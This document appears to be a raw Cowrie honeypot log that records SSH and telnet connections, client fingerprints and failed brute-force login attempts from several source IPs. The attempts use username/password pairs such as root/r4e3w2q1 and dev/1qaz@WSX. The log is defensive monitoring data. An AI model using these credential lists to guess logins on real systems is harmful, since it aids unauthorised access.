{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:10:25.667291Z","src_ip":"159.203.92.129","session":"d594bc99bb1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.93156599998474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:10:26.289843Z","src_ip":"69.6.225.50","session":"26367df32010","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":48300,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b44c424a9db","protocol":"telnet","message":"New connection: 69.6.225.50:48300 (159.203.135.109:23) [session: 1b44c424a9db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:10:33.671814Z"}
{"eventid":"cowrie.session.closed","duration":30.887609243392944,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:10:34.228689Z","src_ip":"69.6.225.50","session":"da320ea194c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.547834157943726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:10:36.122920Z","src_ip":"69.6.225.50","session":"a465d78e27ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":53700,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e5b0171ac0e","protocol":"telnet","message":"New connection: 69.6.225.50:53700 (159.203.135.109:23) [session: 9e5b0171ac0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:10:42.692334Z"}
{"eventid":"cowrie.session.closed","duration":40.1296021938324,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:10:45.405539Z","src_ip":"5.61.90.139","session":"2323ff3a1ced","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.709022998809814,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:10:46.351948Z","src_ip":"5.61.90.139","session":"17f82e98b0a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":39426,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e42d019efe1","protocol":"telnet","message":"New connection: 69.6.225.50:39426 (159.203.135.109:23) [session: 4e42d019efe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:10:54.222782Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":39438,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7d6d46803de","protocol":"telnet","message":"New connection: 69.6.225.50:39438 (159.203.135.109:23) [session: f7d6d46803de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:10:54.726037Z"}
{"eventid":"cowrie.session.closed","duration":30.658059120178223,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:04.329768Z","src_ip":"69.6.225.50","session":"1b44c424a9db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58736,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed011ec31f14","protocol":"ssh","message":"New connection: 159.203.92.129:58736 (159.203.135.109:22) [session: ed011ec31f14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:09.126535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:09.131344Z","src_ip":"159.203.92.129","session":"ed011ec31f14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:09.135886Z","src_ip":"159.203.92.129","session":"ed011ec31f14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"akka","password":"akka","message":"login attempt [akka/akka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:09.147776Z","src_ip":"159.203.92.129","session":"ed011ec31f14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":55502,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc797cffff0d","protocol":"ssh","message":"New connection: 68.183.236.1:55502 (159.203.135.109:22) [session: cc797cffff0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:09.945176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:09.950311Z","src_ip":"68.183.236.1","session":"cc797cffff0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:10.154448Z","src_ip":"159.203.92.129","session":"ed011ec31f14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:10.210798Z","src_ip":"68.183.236.1","session":"cc797cffff0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"x","message":"login attempt [postgres/x] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:11.225080Z","src_ip":"68.183.236.1","session":"cc797cffff0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:12.476508Z","src_ip":"68.183.236.1","session":"cc797cffff0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.34426736831665,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:13.036480Z","src_ip":"69.6.225.50","session":"9e5b0171ac0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":42286,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c38928df94b","protocol":"telnet","message":"New connection: 69.6.225.50:42286 (159.203.135.109:23) [session: 9c38928df94b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:13.166666Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.134.240.52","src_port":33172,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7c2b46b11cb","protocol":"ssh","message":"New connection: 91.134.240.52:33172 (159.203.135.109:22) [session: e7c2b46b11cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:13.454167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:13.458757Z","src_ip":"91.134.240.52","session":"e7c2b46b11cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:13.544504Z","src_ip":"91.134.240.52","session":"e7c2b46b11cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"1qaz@WSX","message":"login attempt [dev/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:13.927130Z","src_ip":"91.134.240.52","session":"e7c2b46b11cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:15.017015Z","src_ip":"91.134.240.52","session":"e7c2b46b11cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":42288,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae50ac07560c","protocol":"telnet","message":"New connection: 69.6.225.50:42288 (159.203.135.109:23) [session: ae50ac07560c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:15.296202Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":42590,"dst_ip":"159.203.135.109","dst_port":23,"session":"723182b91291","protocol":"telnet","message":"New connection: 69.6.225.50:42590 (159.203.135.109:23) [session: 723182b91291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:19.835447Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":42604,"dst_ip":"159.203.135.109","dst_port":23,"session":"e07e5b5de825","protocol":"telnet","message":"New connection: 69.6.225.50:42604 (159.203.135.109:23) [session: e07e5b5de825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:24.798857Z"}
{"eventid":"cowrie.session.closed","duration":30.82254147529602,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:25.045191Z","src_ip":"69.6.225.50","session":"4e42d019efe1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.388441562652588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:25.114339Z","src_ip":"69.6.225.50","session":"f7d6d46803de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":36826,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8877c0f870b","protocol":"telnet","message":"New connection: 69.6.225.50:36826 (159.203.135.109:23) [session: e8877c0f870b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:29.918310Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":36840,"dst_ip":"159.203.135.109","dst_port":23,"session":"87b4dcf0df43","protocol":"telnet","message":"New connection: 69.6.225.50:36840 (159.203.135.109:23) [session: 87b4dcf0df43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:30.404551Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":35108,"dst_ip":"10.17.0.5","dst_port":23,"session":"72d80d5dcb36","protocol":"telnet","message":"New connection: 5.61.90.139:35108 (10.17.0.5:23) [session: 72d80d5dcb36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:35.493348Z"}
{"eventid":"cowrie.session.closed","duration":120.0012149810791,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:37.157020Z","src_ip":"191.240.27.228","session":"84fcde3c2c6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55726,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7966356be26","protocol":"telnet","message":"New connection: 69.6.225.50:55726 (159.203.135.109:23) [session: b7966356be26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:38.200009Z"}
{"eventid":"cowrie.session.closed","duration":120.00163316726685,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:39.034549Z","src_ip":"191.240.27.228","session":"6137b253520c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00131130218506,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:41.494156Z","src_ip":"191.240.27.228","session":"bd6b52947496","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"222.110.147.56","src_port":38256,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a8fd3751a03","protocol":"ssh","message":"New connection: 222.110.147.56:38256 (10.17.0.5:22) [session: 2a8fd3751a03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:41.690494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:41.695098Z","src_ip":"222.110.147.56","session":"2a8fd3751a03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:41.900971Z","src_ip":"222.110.147.56","session":"2a8fd3751a03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":55736,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fe94907daaa","protocol":"telnet","message":"New connection: 69.6.225.50:55736 (159.203.135.109:23) [session: 6fe94907daaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:42.404925Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"r4e3w2q1","message":"login attempt [root/r4e3w2q1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:42.761683Z","src_ip":"222.110.147.56","session":"2a8fd3751a03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:43.969928Z","src_ip":"222.110.147.56","session":"2a8fd3751a03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.876521825790405,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:44.043063Z","src_ip":"69.6.225.50","session":"9c38928df94b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76007914543152,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:46.056205Z","src_ip":"69.6.225.50","session":"ae50ac07560c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.222973823547363,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:50.058303Z","src_ip":"69.6.225.50","session":"723182b91291","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60728,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0aef0629d1b","protocol":"ssh","message":"New connection: 159.203.92.129:60728 (159.203.135.109:22) [session: e0aef0629d1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:54.443908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:54.447820Z","src_ip":"159.203.92.129","session":"e0aef0629d1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:54.451813Z","src_ip":"159.203.92.129","session":"e0aef0629d1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"al","password":"123456","message":"login attempt [al/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:54.464454Z","src_ip":"159.203.92.129","session":"e0aef0629d1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.328359603881836,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:55.127079Z","src_ip":"69.6.225.50","session":"e07e5b5de825","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:55.471070Z","src_ip":"159.203.92.129","session":"e0aef0629d1b","protocol":"ssh"}
